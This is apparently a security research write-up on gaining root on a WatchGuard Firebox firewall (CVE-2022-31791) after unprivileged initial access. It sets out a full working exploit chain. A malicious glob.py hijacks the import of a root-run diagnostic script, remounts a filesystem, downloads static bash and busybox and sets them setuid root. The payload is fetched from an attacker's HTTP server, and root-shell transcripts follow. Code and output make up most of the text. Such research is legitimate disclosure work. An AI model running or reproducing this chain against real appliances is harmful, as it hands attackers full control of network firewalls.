Overview
This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this CVE-2022-26318 research.
The initial access is non privileged as user nobody and /etc/fstab shows that all filesystems are either protected with read-only, no-suid or no-exec. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox which only provides a very limited command set. This significantly limits living-off-the-land options, with nmap being one of the notable binaries available by default.
Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----
>>> import os
>>> os.getuid()
99
>>> os.getgid()
96
>>> import subprocess
>>> print(open("/etc/fstab").read())
/dev/wgrd.sysa_code / ext2 ro,noatime 1 1
/dev/wgrd.sysa_data /etc/wg ext3 rw,noexec,noatime 0 0
none /proc proc defaults 0 0
none /sys sysfs defaults 0 0
/dev/wgrd.boot /boot ext2 ro,noexec,noatime 0 0
/dev/wgrd.pending /pending ext2 rw,noexec,noatime 0 0
/dev/wgrd.var /var ext2 rw,noexec,noatime 0 0
# wg_linux platform.pkgspec
>>> subprocess.call(["nmap", "127.0.0.1"])
Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET
Nmap scan report for localhost.localdomain (127.0.0.1)
Host is up (0.0014s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
80/tcp open http
4125/tcp open rww
4126/tcp open ddrepl
5000/tcp open upnp
5001/tcp open commplex-link
5002/tcp open rfe
5003/tcp open filemaker
5004/tcp open avt-profile-1
6001/tcp open X11:1
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
0
>>>
So the big question, how do we get privileged access?
Luckily, the appliance has python installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep program, that generates a crash report whenever a program crashes. And it has the setuid bit set on user root.
>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"])
-rwsr-xr-x 1 root admin 31424 Sep 28 2021 /usr/bin/fault_rep
0
>>>
Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen, a python program. Here are lines of the program:
>>> print(open("/usr/bin/diag_snapgen").read())
#!/usr/bin/python
#
# Diagnostic Snapshot Generator
#
# This script runs when a fault triggers through the Fault Reporting System.
#
import subprocess
import glob
#
# These files will have their contents copied into the diagnostic snapshot
# file. Add (or subtract!) from this list at will.
#
FILES = [
'/etc/wg/bootlog',
'/var/log/*.log',
'/var/log/trace/*.log',
'/proc/interrupts',
'/proc/meminfo'
]
#
# These programs will have their output copied into the diagnostic snapshot
# file. Add (or subtract!) from this list at will.
#
PROGRAMS = [
'/bin/ps',
'/bin/ls -l /tmp',
'/bin/df',
'/bin/dmesg'
]
#
# Diagnostic Snapshot Generation
#
for i, path in enumerate(FILES):
for j, name in enumerate(glob.glob(path)):
print "=== %s ===" % (name)
try:
f = open(name)
for line in f:
print line,
f.close()
except:
print "(Unable to open file!)"
print
for i, name in enumerate(PROGRAMS):
print "=== %s ===" % (name)
try:
name = name.split()
p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
if p.returncode:
raise(Exception(err))
print out
except:
print "(Unable to run command!)"
print
>>>
This is significant because the imported glob.py can be replaced with attacker-controlled code using the same module name, which is then loaded in a root context.
So let’s think this thru…
- We create a malicious
glob.pywhere we can run python code under the context of root. - This python code should remount a filesystem with
execandread-writerights. - A good candidate is the
/dev/wgrd.pendingfilesystem. - We can download a static linked
bashandbusyboxx86-64 binary from the web. - Change the ownership to
root.adminand set thesuidandsgidbit on both binaries. - We should now be able to spin off a root shell that gives us full control on the appliance.
This sounds like a plan…
Here is malicious glob.py code.
import subprocess, os, requests, ctypes
# set root
os.setuid(0)
os.setgid(0)
# remount /pending directory to enable suid and execution
def mount(source, target, fs, options='', flags=0):
ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options)
if ret < 0:
errno = ctypes.get_errno()
raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno)))
# 32 -- MS_REMOUNT flag
mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32)
# get the bash static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False)
with open("/pending/tmp/bash", mode="wb") as file:
file.write(response.content)
# get busybox static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False)
with open("/pending/tmp/busybox", mode="wb") as file:
file.write(response.content)
# setuid and sgid bit and make world executable. Bingo, you are root now!
os.chown("/pending/tmp/bash", 0, 0)
os.chmod("/pending/tmp/bash", 0o6755)
os.chown("/pending/tmp/busybox", 0, 0)
os.chmod("/pending/tmp/busybox", 0o6755)
exit()
Ok, let’s test this…
We will first upload our malicious glob.py to /tmp which is by default read-write, however we can not run any binaries in /tmp except for python scripts. But that is anyhow all we need…
To ensure that our malicious glob.py gets imported, we need to change the PYTHONPATH to /tmp or . .
Invoking the root-SUID program /usr/bin/fault_rep then causes the attacker-controlled glob.py module to be loaded.
>>> import requests
>>> response = requests.get("http://192.168.201.8:1980/glob.py")
>>> with open("/tmp/glob.py", mode="w") as file:
... file.write(response.content)
...
>>> subprocess.call(["ls", "-l", "/tmp/glob.py"])
-rw-r--r-- 1 nobody wg 1364 Mar 8 17:03 /tmp/glob.py
0
>>>
Ok, we have successfully downloaded glob.py. Please ensure that you have a http server running on your attacker machine.
Next step is to set the PYTHONPATH and run /usr/bin/fault_rep.
>>> myenv = os.environ.copy()
>>> myenv['PYTHONPATH'] = '.'
>>> print(myenv)
{'PYTHONPATH': '.'}
>>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv)
generating fault [01/unspecified] (Failed Assertion)...
0
>>>
Let’s check if the binaries are downloaded in /pending/tmp directory and owned by root.admin with suid and sgid bit set.
>>> subprocess.call(["ls", "-l", "/pending/tmp"])
-rwsr-sr-x 1 root admin 2772944 Mar 8 17:14 bash
-rwsr-sr-x 1 root admin 1894248 Mar 8 17:14 busybox
srw-r----- 1 nobody nobody 0 Mar 7 22:38 cgi
-rw-r--r-- 1 root admin 0 Mar 8 16:37 configd.log
srw-rw-rw- 1 nobody wg 0 Mar 7 22:38 epm
srw-rw-rw- 1 root admin 0 Mar 7 22:38 geolocation
-rw-r--r-- 1 nobody wg 1364 Mar 8 17:00 glob.py
prw------- 1 nobody wg 0 Mar 7 22:38 radiusd
prw------- 1 nobody wg 0 Mar 7 22:38 rsso-auth
srwxr-xr-x 1 nobody admin 0 Mar 7 22:38 webui
srw-rw-rw- 1 nobody wg 0 Mar 8 16:00 wgagent
0
>>>
The technique succeeds; the next step is to obtain a bash root shell.
>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2$ /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)
bash-5.2$
Mmm, that’s strange. Looks that suid is not working.
Ahh, this rings a bell. Set suid bit on a bash shell does not work out of the box. There is -p option that overrides this behavior.
bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)
We got a root prompt, but we are still not there with full root access.
Let’s start a python session in this shell and set the suid and sgid once more and launch the bash shell again.
bash-5.2# python -i
python -i
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.setgid(0)
>>> import subprocess
>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (12299): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=0(root) gid=0(admin)
bash-5.2#
Here we go! We have full root access now.
References
- CVE-2022-31791
- Blind exploits to rule WatchGuard firewalls by Charles Fol
- WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.